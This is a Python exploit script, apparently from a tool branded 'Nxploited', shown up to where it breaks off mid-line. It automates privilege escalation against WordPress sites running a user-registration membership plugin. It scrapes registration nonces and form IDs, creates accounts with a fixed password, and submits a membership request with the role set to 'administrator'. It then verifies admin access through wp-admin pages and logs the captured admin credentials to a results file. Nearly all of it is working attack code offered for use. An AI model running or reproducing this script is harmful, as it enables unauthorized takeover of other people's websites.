#!/usr/bin/env python3 #Nxloited import os import sys import time import random from typing import Optional, Dict, List, Tuple, Any from urllib.parse import urlparse, quote, urljoin import re import json as _json import requests from concurrent.futures import ThreadPoolExecutor, as_completed from rich import box from rich.console import Console from rich.panel import Panel from rich.align import Align from rich.table import Table from rich.text import Text requests.packages.urllib3.disable_warnings() console = Console() ADMIN_RESULTS_FILE = "Nx_admin.txt" MEMBERSHIP_RESULTS_FILE = "membership_success_log.txt" DISCOVERY_LOG_FILE = "discovery_log.txt" REGISTRATION_LOG_FILE = "registration_log.txt" MEMBERSHIP_LOG_FILE = "membership_log.txt" ADMIN_CHECK_LOG_FILE = "admin_check_log.txt" UA_POOL = [ "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " "(KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36", ] NX_FIXED_PASS_DEFAULT = "Nx_12999" # ───────────────────── basic helpers ───────────────────── def ua() -> str: return random.choice(UA_POOL) def norm(url: str) -> str: url = url.strip() if not url: return "" if not url.startswith(("http://", "https://")): url = "https://" + url p = urlparse(url) return f"{p.scheme}://{p.netloc}" def new_sess(timeout: int) -> requests.Session: s = requests.Session() s.verify = False s.timeout = timeout return s def log_status(target: str, label: str, color: str, note: str = "") -> None: t = Text(f"[{label}] ", style=color) + Text(target, style="white") if note: t += Text(f" | {note}", style="bright_black") console.print(t) def banner() -> None: os.system("cls" if os.name == "nt" else "clear") ascii_lines = [ " _______ ________ ___ ____ ___ _____ _____ __ ____ ___ ", " / ____/ | / / ____/ |__ \\ / __ \\__ \\ / ___/ < / // / / __ \\__ \\", " / / | | / / __/________/ // / / /_/ // __ \\______/ / // /_/ /_/ /_/ /", "/ /___ | |/ / /__/_____/ __// /_/ / __// /_/ /_____/ /__ __/\\__, / __/ ", "\\____/ |___/_____/ /____/\\____/____/\\____/ /_/ /_/ /____/____/ ", " ", ] body = Align.center( Text("\n".join(ascii_lines), style="bold green") + Text("\nUser Registration Membership Full Chain (Admin Escalation, State‑Aware)", style="bold cyan") + Text("\nBy: Nxploited | GitHub: github.com/Nxploited | Telegram: @Kxploit", style="bold white"), vertical="middle", ) console.print(Panel(body, border_style="bright_black", box=box.SQUARE, padding=(1, 4))) # ───────────────────── file logging helpers ───────────────────── def safe_append(path: str, line: str) -> None: try: with open(path, "a", encoding="utf-8") as f: f.write(line + "\n") except Exception: pass def write_admin(base: str, username: str, password: str) -> None: line = f"{base}/wp-login.php user:{username} pass:{password}" safe_append(ADMIN_RESULTS_FILE, line) def write_membership_success(base: str, username: str, membership_id: str, raw: Dict) -> None: line = f"{base} membership:{membership_id} user:{username} json:{_json.dumps(raw, ensure_ascii=False)}" safe_append(MEMBERSHIP_RESULTS_FILE, line) def log_discovery(entry: Dict[str, Any]) -> None: safe_append(DISCOVERY_LOG_FILE, _json.dumps(entry, ensure_ascii=False)) def log_registration_request(entry: Dict[str, Any]) -> None: if "response_text" in entry: entry["response_text"] = str(entry["response_text"])[:4000] safe_append(REGISTRATION_LOG_FILE, _json.dumps(entry, ensure_ascii=False)) def log_membership_request(entry: Dict[str, Any]) -> None: if "response_text" in entry: entry["response_text"] = str(entry["response_text"])[:4000] safe_append(MEMBERSHIP_LOG_FILE, _json.dumps(entry, ensure_ascii=False)) def log_admin_check(entry: Dict[str, Any]) -> None: if "login_html_snippet" in entry: entry["login_html_snippet"] = entry["login_html_snippet"][:2000] safe_append(ADMIN_CHECK_LOG_FILE, _json.dumps(entry, ensure_ascii=False)) # ───────────────────── HTTP ───────────────────── def fetch_html(sess: requests.Session, url: str, timeout: int) -> Optional[str]: try: r = sess.get(url, timeout=timeout, verify=False, headers={"User-Agent": ua()}) if r.status_code == 200 and r.text: return r.text except Exception: return None return None # ───────────────────── discovery: pages + plans ───────────────────── def discover_candidate_pages(sess: requests.Session, base: str, timeout: int) -> Dict[str, str]: htmls: Dict[str, str] = {} root = base.rstrip("/") paths = [ "/membership-pricing/", "/registration/", "/registration-form/", "/membership-registration/", "/reg/", ] for slug in paths: url = root + slug if url in htmls: continue h = fetch_html(sess, url, timeout) if h: htmls[url] = h pricing_url = root + "/membership-pricing/" pricing_html = htmls.get(pricing_url) if pricing_html: pattern = re.compile( r'href=["\']([^"\']*membership[^"\']*id=[0-9]{1,10}[^"\']*)["\']', re.IGNORECASE, ) for href in pattern.findall(pricing_html): full = href if href.startswith("/"): p = urlparse(pricing_url) full = f"{p.scheme}://{p.netloc}{href}" elif href.startswith("#"): continue elif not href.startswith("http"): full = urljoin(pricing_url, href) if full not in htmls: h2 = fetch_html(sess, full, timeout) if h2: htmls[full] = h2 btn_pattern = re.compile( r']+href=["\']([^"\']+)["\'][^>]*>[^<]*sign\s*up[^<]*', re.IGNORECASE, ) for href in btn_pattern.findall(pricing_html): full = href if href.startswith("/"): p = urlparse(pricing_url) full = f"{p.scheme}://{p.netloc}{href}" elif href.startswith("#"): continue elif not href.startswith("http"): full = urljoin(pricing_url, href) if full not in htmls: h2 = fetch_html(sess, full, timeout) if h2: htmls[full] = h2 return htmls def extract_plans_from_pricing(pricing_html: str, pricing_url: str) -> List[Tuple[Optional[str], Optional[str]]]: plans: List[Tuple[Optional[str], Optional[str]]] = [] for href in re.findall( r'href=["\']([^"\']*membership[^"\']*id=[0-9]{1,10}[^"\']*)["\']', pricing_html, re.IGNORECASE, ): full = href if href.startswith("/"): p = urlparse(pricing_url) full = f"{p.scheme}://{p.netloc}{href}" elif not href.startswith("http"): full = urljoin(pricing_url, href) m = re.search(r'membership[^=]*id=([0-9]{1,10})', href, re.IGNORECASE) if not m: m = re.search(r'membership_id=([0-9]{1,10})', href, re.IGNORECASE) if not m: continue mid = m.group(1) if (mid, full) not in plans: plans.append((mid, full)) for tag in re.findall( r']*class=["\'][^"\']*ur_membership_input_class[^"\']*ur_membership_radio_input[^"\']*["\'][^>]*>', pricing_html, re.IGNORECASE, ): mv = re.search(r'value=["\']([0-9]{1,10})["\']', tag, re.IGNORECASE) if not mv: continue mid = mv.group(1) if (mid, None) not in plans: plans.append((mid, None)) if not plans: plans.append((None, None)) return plans # ───────────────────── extract from registration page ───────────────────── def extract_membership_id_and_field_name(reg_html: str, default_membership_id: Optional[str]) -> Tuple[Optional[str], Optional[str]]: membership_id = None membership_field_name = None m = re.search( r']*class=["\'][^"\']*ur_membership_input_class[^"\']*ur_membership_radio_input[^"\']*["\'][^>]*>', reg_html, re.IGNORECASE, ) if m: tag = m.group(0) mv = re.search(r'value=["\']([0-9]{1,10})["\']', tag, re.IGNORECASE) if mv: membership_id = mv.group(1) mn = re.search(r'data-name=["\']([^"\']+)["\']', tag, re.IGNORECASE) if mn: membership_field_name = mn.group(1) if not membership_id: m2 = re.search(r'membership[^=]*id=([0-9]{1,10})', reg_html, re.IGNORECASE) if m2: membership_id = m2.group(1) if not membership_id: membership_id = default_membership_id return membership_id, membership_field_name def extract_ur_frontend_form_nonce(reg_html: str) -> Optional[str]: m = re.search( r']+name=["\']ur_frontend_form_nonce["\'][^>]*value=["\']([^"\']+)["\']', reg_html, re.IGNORECASE, ) if m: return m.group(1) m2 = re.search( r'ur_frontend_form_nonce["\']\s*[:=]\s*["\']([^"\']+)["\']', reg_html, re.IGNORECASE, ) if m2: return m2.group(1) return None def extract_user_registration_ajax_params(reg_html: str) -> Dict[str, Dict[str, str]]: params: Dict[str, Dict[str, str]] = {"raw": {}, "keys": {}} m = re.search( r'(?:var|let|const)\s+user_registration_params\s*=\s*(\{.*?\})\s*;', reg_html, re.DOTALL | re.IGNORECASE, ) blob = m.group(1) if m else None if not blob: return params try: cleaned = blob.strip().rstrip(";") cleaned = cleaned.replace(r"\/", "/") cleaned = re.sub(r",(\s*[}\]])", r"\1", cleaned) data = _json.loads(cleaned) if isinstance(data, dict): params["raw"] = data flat: Dict[str, str] = {} for k, v in data.items(): if isinstance(v, (str, int, float, bool)): flat[str(k)] = str(v) params["keys"] = flat return params except Exception: pass flat2: Dict[str, str] = {} for key, val in re.findall(r'"([^"]+)"\s*:\s*"([^"]+)"', blob or "", re.DOTALL): flat2[key] = val params["keys"] = flat2 return params def pick_user_form_submit_security(params: Dict[str, Dict[str, str]]) -> Optional[str]: keys = params.get("keys") or {} if not keys: return None def looks_like_nonce(val: str) -> bool: return isinstance(val, str) and len(val) >= 8 and re.fullmatch(r"[0-9a-zA-Z]+", val) is not None for k, v in keys.items(): if k.lower() == "user_registration_form_data_save" and looks_like_nonce(v): return v for k, v in keys.items(): kl = k.lower() if "user_registration" in kl and "form" in kl and "save" in kl and looks_like_nonce(v): return v candidates: List[Tuple[str, str]] = [] for k, v in keys.items(): kl = k.lower() if "user" in kl and "registration" in kl and ("submit" in kl or "save" in kl): if looks_like_nonce(v) and not any(bad in kl for bad in ["upload", "remove", "profile", "picture", "update_state"]): candidates.append((k, v)) if candidates: candidates.sort(key=lambda x: x[0]) return candidates[0][1] sec_keys = [k for k in keys if k.lower().endswith("_security")] if len(sec_keys) == 1 and looks_like_nonce(keys[sec_keys[0]]): return keys[sec_keys[0]] nonce_keys = [k for k in keys if k.lower().endswith("_nonce")] if len(nonce_keys) == 1 and looks_like_nonce(keys[nonce_keys[0]]): return keys[nonce_keys[0]] if len(keys) <= 4: strong = [(k, v) for k, v in keys.items() if looks_like_nonce(v)] if len(strong) == 1: return strong[0][1] return None def pick_user_registration_ajax_url(params: Dict[str, Dict[str, str]], base: str) -> str: keys = params.get("keys") or {} ajax = keys.get("ajax_url") or keys.get("ajaxurl") if ajax: return ajax return base.rstrip("/") + "/wp-admin/admin-ajax.php" def extract_membership_nonce_and_ajax_url(reg_html: str, base: str) -> Tuple[Optional[str], str]: membership_nonce: Optional[str] = None membership_ajax_url: str = base.rstrip("/") + "/wp-admin/admin-ajax.php" patterns = [ r'(?:var|let|const|\s)ur_membership_frontend_localized_data\s*=\s*(\{.*?\})\s*;', r'ur_membership_frontend_localized_data\s*=\s*(\{.*?\})', ] blob = None for pat in patterns: rg = re.compile(pat, re.DOTALL | re.IGNORECASE) m = rg.search(reg_html) if m: blob = m.group(1) break if blob: try: cleaned = blob.strip().rstrip(";") cleaned = cleaned.replace(r"\/", "/") cleaned = re.sub(r",(\s*[}\]])", r"\1", cleaned) data = _json.loads(cleaned) if isinstance(data, dict): n = data.get("_nonce") or data.get("nonce") if isinstance(n, str) and len(n) >= 4: membership_nonce = n ajax_url = data.get("ajax_url") or data.get("url") if isinstance(ajax_url, str) and ajax_url.startswith("http"): membership_ajax_url = ajax_url except Exception: m2 = re.search(r'"_nonce"\s*:\s*"([0-9A-Za-z]{4,64})"', blob, re.IGNORECASE) if m2: membership_nonce = m2.group(1) return membership_nonce, membership_ajax_url def extract_form_id(reg_html: str) -> Optional[str]: patterns = [ r']+name=["\']ur-user-form-id["\'][^>]*value=["\']([0-9]{1,10})["\']', r']+name=["\']form_id["\'][^>]*value=["\']([0-9]{1,10})["\']', r'user-registration-form-([0-9]{1,10})', r'user_registration_form id=["\']([0-9]{1,10})["\']', ] for pat in patterns: m = re.search(pat, reg_html, re.IGNORECASE) if m: return m.group(1) return None # ───────────────────── form fields parser ───────────────────── def extract_ur_fields(reg_html: str) -> List[Dict[str, Any]]: fields: List[Dict[str, Any]] = [] scope_match = re.search( r"]+class=[\"'][^\"']*user-registration[^\"']*ur-frontend-form[^\"']*[\"'][^>]*>(.*?)\s*
", reg_html, re.IGNORECASE | re.DOTALL, ) scope_html = scope_match.group(1) if scope_match else reg_html for field_block in re.findall( r']+class=["\'][^"\']*ur-field-item[^"\']*["\'][^>]*>(.*?)\s*', scope_html, re.DOTALL | re.IGNORECASE, ): label = "" lm = re.search(r']*>(.*?)', field_block, re.DOTALL | re.IGNORECASE) if lm: raw_label = re.sub(r"<.*?>", "", lm.group(1)) label = re.sub(r"\s+", " ", raw_label).strip() required = "required" in field_block or "validate-required" in field_block name = None ftype = "text" options: List[str] = [] im = re.search(r']+name=["\']([^"\']+)["\']', field_block, re.IGNORECASE) if im: name = im.group(1) tm = re.search( r']+name=["\']' + re.escape(name) + r'["\'][^>]*type=["\']([^"\']+)["\']', field_block, re.IGNORECASE, ) if tm: ftype = tm.group(1).lower() else: sm = re.search(r']+name=["\']([^"\']+)["\']', field_block, re.IGNORECASE) if sm: name = sm.group(1) ftype = "select" for opt in re.findall(r']*>(.*?)', field_block, re.DOTALL | re.IGNORECASE): txt = re.sub(r"<.*?>", "", opt) txt = re.sub(r"\s+", " ", txt).strip() if txt: options.append(txt) else: tm2 = re.search(r']+name=["\']([^"\']+)["\']', field_block, re.IGNORECASE) if tm2: name = tm2.group(1) ftype = "textarea" if not name: continue if ftype in ("radio", "checkbox"): for opt_block in re.findall( r']*>\s*]+name=["\']' + re.escape(name) + r'["\'][^>]*>(.*?)', field_block, re.DOTALL | re.IGNORECASE, ): txt = re.sub(r"<.*?>", "", opt_block) txt = re.sub(r"\s+", " ", txt).strip() if txt: options.append(txt) fields.append( { "name": name, "type": ftype, "label": label or name, "required": required, "options": options, } ) return fields # ───────────────────── smarter field values ───────────────────── def pick_country_value(field: Dict[str, Any]) -> str: opts = field.get("options") or [] if not opts: return "Saudi Arabia" for preferred in ["Saudi Arabia", "Saudiarabien", "Saudi-Arabien", "United States", "USA", "United Kingdom"]: for o in opts: if preferred.lower() in o.lower(): return o return opts[0] def pick_website_value() -> str: return "https://google.com" def pick_email(username: str, base_domain: str = "admin.sa") -> str: return f"{username}@{base_domain}" def build_form_data_for_user( username: str, email: str, password: str, membership_field_name: Optional[str], membership_id: Optional[str], ur_fields: List[Dict[str, Any]], ) -> List[Dict[str, Any]]: form_data: List[Dict[str, Any]] = [] def add_field(fname: str, value: str, ftype: str, label: str) -> None: form_data.append( { "field_name": fname.replace("[]", ""), "value": value, "field_type": ftype, "label": label, } ) for f in ur_fields: name = f["name"] ftype = f["type"] label = f["label"] required = f["required"] lname = name.lower() if lname in ("user_login", "username", "login"): add_field(name, username, ftype, label) continue if lname in ("user_email", "email", "user_email_address", "billing_email"): add_field(name, email, ftype, label) continue if "confirm" in lname and "email" in lname: add_field(name, email, ftype, label) continue if lname in ("user_pass", "password"): add_field(name, password, ftype, label) continue if lname in ("user_confirm_password", "confirm_password", "confirm_pass"): add_field(name, password, ftype, label) continue if membership_field_name and name == "urm_membership" and membership_id: add_field(membership_field_name, membership_id, "radio", "membership") continue if not required: continue val = "" if ftype in ("tel", "phone") or "phone" in lname or "mobile" in lname: val = "00966555555555" elif "zip" in lname or "postal" in lname or "postcode" in lname: val = "12345" elif "country" in lname: val = pick_country_value(f) elif "city" in lname: val = "Riyadh" elif any(k in lname for k in ["website", "webbplats", "url", "site_url", "siteurl"]): val = pick_website_value() elif "first_name" in lname or "fname" in lname: val = "Test" elif "last_name" in lname or "lname" in lname: val = "User" elif ftype in ("number", "range"): val = "123" elif ftype == "email": val = email elif ftype in ("radio", "checkbox"): if f["options"]: val = f["options"][0] else: val = "on" elif ftype == "select": if "country" in lname: val = pick_country_value(f) else: val = f["options"][0] if f["options"] else "Option" else: val = "Test" add_field(name, val, ftype, label) existing = {f["field_name"] for f in form_data} core = [ ("user_login", username, "text", "Username"), ("user_email", email, "email", "User Email"), ("user_pass", password, "password", "User Password"), ("user_confirm_password", password, "password", "Confirm Password"), ] for fname, val, ftype, label in core: if fname not in existing: add_field(fname, val, ftype, label) if membership_id and membership_field_name: if membership_field_name not in existing: add_field(membership_field_name, membership_id, "radio", "membership") return form_data # ───────────────────── AJAX: registration (Flow A/B) ───────────────────── def send_user_form_submit( sess: requests.Session, base: str, timeout: int, username: str, email: str, password: str, form_id: str, ur_frontend_form_nonce: str, ur_form_security: Optional[str], ajax_url: str, membership_field_name: Optional[str], membership_id: Optional[str], referer: str, ur_fields: List[Dict[str, Any]], flow_tag: str, ) -> Tuple[bool, Dict]: ajax_action = "user_registration_user_form_submit" form_data_list = build_form_data_for_user( username=username, email=email, password=password, membership_field_name=membership_field_name, membership_id=membership_id, ur_fields=ur_fields, ) form_data_json = _json.dumps(form_data_list, separators=(",", ":")) form_data_enc = quote(form_data_json, safe="") parts = [ f"action={ajax_action}", f"form_data={form_data_enc}", f"form_id={quote(str(form_id), safe='')}", "registration_language=en-US", f"ur_frontend_form_nonce={quote(ur_frontend_form_nonce, safe='')}", ] if membership_id: parts.append(f"is_membership_active={quote(str(membership_id), safe='')}") parts.append(f"membership_type={quote(str(membership_id), safe='')}") if ur_form_security: parts.append(f"security={quote(ur_form_security, safe='')}") body = "&".join(parts) headers = { "User-Agent": ua(), "Accept": "*/*", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Origin": base, "Referer": referer or base, } resp_status = None raw = "" json_data: Dict[str, Any] = {} try: r = sess.post(ajax_url, data=body, headers=headers, timeout=timeout, verify=False) resp_status = r.status_code raw = r.text or "" try: json_data = r.json() except Exception: json_data = {"raw": raw} except Exception as exc: json_data = {"error": str(exc)} raw = str(exc) data = json_data.get("data") or {} form_login_option = data.get("form_login_option") auto_login = data.get("auto_login", False) json_data["_nx_form_login_option"] = form_login_option json_data["_nx_auto_login"] = auto_login log_registration_request( { "target": base, "flow": flow_tag, "step": "registration", "ajax_url": ajax_url, "ajax_action": ajax_action, "username": username, "email": email, "password": password, "form_id": form_id, "ur_frontend_form_nonce": ur_frontend_form_nonce, "ur_form_security": ur_form_security, "membership_field_name": membership_field_name or "", "membership_id": membership_id or "", "raw_body": body, "http_status": resp_status, "response_json": json_data, "response_text": raw, } ) ok = bool(json_data.get("success") is True) return ok, json_data # ───────────────────── AJAX: membership register_member ───────────────────── def build_members_data(username: str, membership_id: str) -> Dict[str, Any]: import datetime today = datetime.date.today() start_date = f"{today.year}-{today.month}-{today.day}" return { "membership": membership_id, "payment_method": "free", "start_date": start_date, "username": username, "role": "administrator", } def send_membership_register_member_flow( sess: requests.Session, base: str, timeout: int, username: str, membership_id: str, membership_nonce: str, ajax_url: str, referer: str, flow_tag: str, reg_response_data: Optional[Dict[str, Any]], ) -> Tuple[bool, Dict]: ajax_action = "user_registration_membership_register_member" members_data_dict = build_members_data(username, membership_id) members_data_json = _json.dumps(members_data_dict, separators=(",", ":")) members_data_enc = quote(members_data_json, safe="") if isinstance(reg_response_data, dict): form_response_dict = reg_response_data else: form_response_dict = { "username": username, "success_message_positon": "1" if flow_tag == "A" else "2", "form_login_option": "default", "redirect_timeout": 0 if flow_tag == "A" else 1, "registration_type": "membership", } form_response_json = _json.dumps(form_response_dict, separators=(",", ":")) form_response_enc = quote(form_response_json, safe="") nonce_enc = quote(membership_nonce, safe="") body = ( f"action={ajax_action}" f"&members_data={members_data_enc}" f"&form_response={form_response_enc}" f"&_wpnonce={nonce_enc}" f"&security={nonce_enc}" ) headers = { "User-Agent": ua(), "Accept": "application/json, text/javascript, */*; q=0.01", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Origin": base, "Referer": referer or base, } resp_status = None raw = "" json_data: Dict[str, Any] = {} try: r = sess.post(ajax_url, data=body, headers=headers, timeout=timeout, verify=False) resp_status = r.status_code raw = r.text or "" try: json_data = r.json() except Exception: json_data = {"raw": raw} except Exception as exc: json_data = {"error": str(exc)} raw = str(exc) log_membership_request( { "target": base, "flow": flow_tag, "step": "membership", "ajax_url": ajax_url, "username": username, "membership_id": membership_id, "membership_nonce": membership_nonce, "raw_body": body, "http_status": resp_status, "response_json": json_data, "response_text": raw, } ) ok = bool(json_data.get("success") is True) if ok: write_membership_success(base, username, membership_id, json_data) return ok, json_data def extra_admin_override( sess: requests.Session, base: str, timeout: int, username: str, membership_id: str, membership_nonce: str, ajax_url: str, referer: str, reg_response_data: Optional[Dict[str, Any]], ) -> Tuple[bool, Dict]: ajax_action = "user_registration_membership_register_member" members_data_dict = build_members_data(username, membership_id) members_data_json = _json.dumps(members_data_dict, separators=(",", ":")) members_data_enc = quote(members_data_json, safe="") if isinstance(reg_response_data, dict): form_response_dict = reg_response_data else: form_response_dict = { "username": username, "success_message_positon": "2", "form_login_option": "default", "redirect_timeout": 0, "registration_type": "membership", } form_response_json = _json.dumps(form_response_dict, separators=(",", ":")) form_response_enc = quote(form_response_json, safe="") nonce_enc = quote(membership_nonce, safe="") body = ( f"action={ajax_action}" f"&members_data={members_data_enc}" f"&form_response={form_response_enc}" f"&_wpnonce={nonce_enc}" f"&security={nonce_enc}" ) headers = { "User-Agent": ua(), "Accept": "application/json, text/javascript, */*; q=0.01", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Origin": base, "Referer": referer or base, } resp_status = None raw = "" json_data: Dict[str, Any] = {} try: r = sess.post(ajax_url, data=body, headers=headers, timeout=timeout, verify=False) resp_status = r.status_code raw = r.text or "" try: json_data = r.json() except Exception: json_data = {"raw": raw} except Exception as exc: json_data = {"error": str(exc)} raw = str(exc) log_membership_request( { "target": base, "flow": "OVERRIDE", "step": "membership_override", "ajax_url": ajax_url, "username": username, "membership_id": membership_id, "membership_nonce": membership_nonce, "raw_body": body, "http_status": resp_status, "response_json": json_data, "response_text": raw, } ) ok = bool(json_data.get("success") is True) if ok: write_membership_success(base, username, membership_id, json_data) return ok, json_data # ───────────────────── admin check ───────────────────── def try_login_flows( base: str, username: str, password: str, timeout: int = 10, ) -> Tuple[requests.Session, bool, str]: s = requests.Session() s.verify = False login_candidates = [ base.rstrip("/") + "/wp-login.php", base.rstrip("/") + "/login/", base.rstrip("/") + "/my-account/", ] logged_cookie = False last_notes = "" login_html_snippet = "" for login_url in login_candidates: try: s.get(login_url, headers={"User-Agent": ua()}, timeout=timeout) except Exception: continue headers = { "User-Agent": ua(), "Content-Type": "application/x-www-form-urlencoded", "Referer": login_url, "Cookie": "wordpress_test_cookie=WP Cookie check", } data = { "log": username.strip(), "username": username.strip(), "user_login": username.strip(), "pwd": password, "password": password, "wp-submit": "Log In", "testcookie": "1", } try: r = s.post(login_url, data=data, headers=headers, timeout=timeout, allow_redirects=True) login_html_snippet = (r.text or "")[:1000] cookie_header = r.headers.get("Set-Cookie", "") logged_cookie = "wordpress_logged_in" in cookie_header or any( c.name.startswith("wordpress_logged_in") for c in s.cookies ) if logged_cookie: last_notes = f"login_ok_via={login_url}" break low = login_html_snippet.lower() last_notes = "login_failed" if "pending approval" in low: last_notes += "; pending_approval" if "verify your email" in low or "email" in low: last_notes += "; email_not_verified_or_required" if "denied" in low: last_notes += "; access_denied" except Exception as exc: last_notes = f"exception:{exc}" continue log_admin_check( { "target": base, "step": "login_flows", "username": username, "password": password, "logged_cookie": logged_cookie, "notes": last_notes, "login_html_snippet": login_html_snippet, } ) return s, logged_cookie, last_notes def verify_admin(base: str, username: str, password: str, timeout: int = 10) -> bool: s, logged_cookie, _ = try_login_flows(base, username, password, timeout) is_admin = False admin_urls = [ base.rstrip("/") + "/wp-admin/", base.rstrip("/") + "/wp-admin/index.php", base.rstrip("/") + "/wp-admin/users.php", base.rstrip("/") + "/wp-admin/profile.php", base.rstrip("/") + "/wp-admin/plugin-install.php", ] indicators = [ "wp-admin-bar", "adminmenu", "manage_options", "users.php", "plugins.php", "plugin-install.php", "plugin-install-tab", "upload-plugin", ] for u in admin_urls: try: ra = s.get(u, headers={"User-Agent": ua()}, timeout=timeout, allow_redirects=False) except Exception: continue if ra.status_code in (301, 302): loc = ra.headers.get("Location", "") if "wp-login.php" in loc: continue if ra.status_code == 200: low = ra.text.lower() if any(ind.lower() in low for ind in indicators): is_admin = True break notes = "" if not is_admin: if not logged_cookie: notes = "login_not_detected" else: notes = "logged_in_cookie_present_but_admin_indicators_missing" log_admin_check( { "target": base, "step": "admin_check_final", "username": username, "password": password, "logged_cookie": logged_cookie, "is_admin": is_admin, "notes": notes, "login_html_snippet": "", } ) return is_admin # ───────────────────── error analysis / retry helpers ───────────────────── def extract_error_messages(reg_resp: Dict[str, Any]) -> List[str]: msgs: List[str] = [] if not isinstance(reg_resp, dict): return msgs data = reg_resp.get("data") if isinstance(data, dict): msg = data.get("message") or "" if isinstance(msg, str) and msg: msgs.append(msg) for k, v in data.items(): if isinstance(v, list): for item in v: if isinstance(item, str): msgs.append(item) elif isinstance(item, dict): m = item.get("message") or item.get("msg") or "" if isinstance(m, str) and m: msgs.append(m) raw = reg_resp.get("raw") or "" if isinstance(raw, str) and raw: msgs.append(raw) return msgs def needs_retry_for_email_exists(errors: List[str]) -> bool: for e in errors: if "email already exists" in e.lower(): return True return False def needs_retry_for_email_mismatch(errors: List[str]) -> bool: for e in errors: if "email and confirm email not matched" in e.lower(): return True return False def needs_retry_for_country(errors: List[str]) -> bool: for e in errors: if "country" in e.lower(): return True return False def needs_retry_for_url(errors: List[str]) -> bool: for e in errors: if "enter a valid url" in e.lower() or "valid url" in e.lower(): return True return False # ───────────────────── per target, per membership plan ───────────────────── def handle_site_for_plan_and_endpoint( sess: requests.Session, base: str, timeout: int, membership_id_hint: Optional[str], reg_url: str, reg_html: str, username_prefix: Optional[str], fixed_email: Optional[str], fixed_password: str, ) -> Dict[str, str]: row = { "target": base, "membership_id": membership_id_hint or "", "endpoint": reg_url, "status": "[bright_black]UNKNOWN[/bright_black]", "note": "", } membership_id, membership_field_name = extract_membership_id_and_field_name(reg_html, membership_id_hint) ur_nonce = extract_ur_frontend_form_nonce(reg_html) ur_params = extract_user_registration_ajax_params(reg_html) ur_form_security = pick_user_form_submit_security(ur_params) ur_ajax_url = pick_user_registration_ajax_url(ur_params, base) membership_nonce, membership_ajax_url = extract_membership_nonce_and_ajax_url(reg_html, base) form_id = extract_form_id(reg_html) or "1" ur_fields = extract_ur_fields(reg_html) disc_entry = { "target": base, "status": row["status"], "note": "", "picked_registration_url": reg_url, "membership_id_hint": membership_id_hint, "membership_id": membership_id, "membership_field_name": membership_field_name, "ur_frontend_form_nonce": ur_nonce, "registration_security_nonce": ur_form_security, "membership_nonce": membership_nonce, "form_id": form_id, "ur_ajax_url": ur_ajax_url, "membership_ajax_url": membership_ajax_url, "user_registration_params_keys": ur_params.get("keys") or {}, "ur_fields": ur_fields, } if not membership_id: row["status"] = "[bright_black]NO-MEM-ID[/bright_black]" row["note"] = "membership_id not found" disc_entry["status"] = row["status"] disc_entry["note"] = row["note"] log_discovery(disc_entry) log_status(base, "NO-MEM-ID", "bright_black", row["note"]) return row if not ur_nonce: row["status"] = "[bright_black]NO-UR-NONCE[/bright_black]" row["note"] = "ur_frontend_form_nonce missing" disc_entry["status"] = row["status"] disc_entry["note"] = row["note"] log_discovery(disc_entry) log_status(base, "NO-UR-NONCE", "bright_black", row["note"]) return row if not ur_form_security: row["status"] = "[bright_black]NO-REG-SECURITY[/bright_black]" row["note"] = "registration security not found in user_registration_params" disc_entry["status"] = row["status"] disc_entry["note"] = row["note"] log_discovery(disc_entry) log_status(base, "NO-REG-SECURITY", "bright_black", row["note"]) return row if not membership_nonce: row["status"] = "[bright_black]NO-MEM-NONCE[/bright_black]" row["note"] = "membership nonce missing" disc_entry["status"] = row["status"] disc_entry["note"] = row["note"] log_discovery(disc_entry) log_status(base, "NO-MEM-NONCE", "bright_black", row["note"]) return row disc_entry["status"] = "[OK] DISCOVERY" disc_entry["note"] = "core values extracted for this membership plan + endpoint" log_discovery(disc_entry) base_user = username_prefix or "nx_user" usernameA = f"{base_user}_A_{random.randint(100000, 999999)}" usernameB = f"{base_user}_B_{random.randint(100000, 999999)}" emailA = fixed_email or pick_email(usernameA) emailB = fixed_email or pick_email(usernameB) password = fixed_password # ───── Flow A ───── max_reg_retries = 3 reg_ok_A = False reg_resp_A: Dict[str, Any] = {} cur_email_A = emailA for attempt in range(max_reg_retries): reg_ok_A, reg_resp_A = send_user_form_submit( sess, base, timeout, usernameA, cur_email_A, password, form_id, ur_nonce, ur_form_security, ur_ajax_url, membership_field_name, membership_id, reg_url, ur_fields, flow_tag=f"A-{attempt}", ) if reg_ok_A: break errors = extract_error_messages(reg_resp_A) if needs_retry_for_email_exists(errors): cur_email_A = pick_email(f"{usernameA}{random.randint(1000,9999)}") continue if needs_retry_for_email_mismatch(errors): cur_email_A = pick_email(f"{usernameA}{random.randint(1000,9999)}") continue if needs_retry_for_country(errors) or needs_retry_for_url(errors): continue break form_login_option_A = reg_resp_A.get("_nx_form_login_option") auto_login_A = reg_resp_A.get("_nx_auto_login", False) reg_data_A = reg_resp_A.get("data") if isinstance(reg_resp_A, dict) else None if not reg_ok_A: msg = "" if isinstance(reg_resp_A, dict): msg = str( reg_resp_A.get("data", {}).get("message", "") or reg_resp_A.get("message", "") or reg_resp_A.get("raw", "") or reg_resp_A.get("error", "") ) row["status"] = "[yellow]REG-A-FAIL[/yellow]" row["note"] = msg log_status(base, "REG-A-FAIL", "yellow", msg or "user_form_submit A failed") else: login_ready_A = (form_login_option_A in (None, "", "default", "auto_login") and auto_login_A) or auto_login_A if not login_ready_A and form_login_option_A: row["status"] = "[bright_black]REG-PENDING-A[/bright_black]" row["note"] = f"login_option={form_login_option_A}; account requires confirmation/approval before login" log_status(base, "REG-PENDING-A", "bright_black", row["note"]) else: log_status(base, "REG-A-OK", "green", f"user:{usernameA} mem:{membership_id} login_option={form_login_option_A}") mem_ok_A, mem_resp_A = send_membership_register_member_flow( sess, base, timeout, usernameA, membership_id, membership_nonce, membership_ajax_url, reg_url, flow_tag="A", reg_response_data=reg_data_A, ) if not mem_ok_A: msg = "" if isinstance(mem_resp_A, dict): msg = str( mem_resp_A.get("data", {}).get("message", "") or mem_resp_A.get("message", "") or mem_resp_A.get("raw", "") or mem_resp_A.get("error", "") ) row["status"] = "[magenta]MEM-A-FAIL[/magenta]" row["note"] = msg log_status(base, "MEM-A-FAIL", "magenta", msg or "register_member A 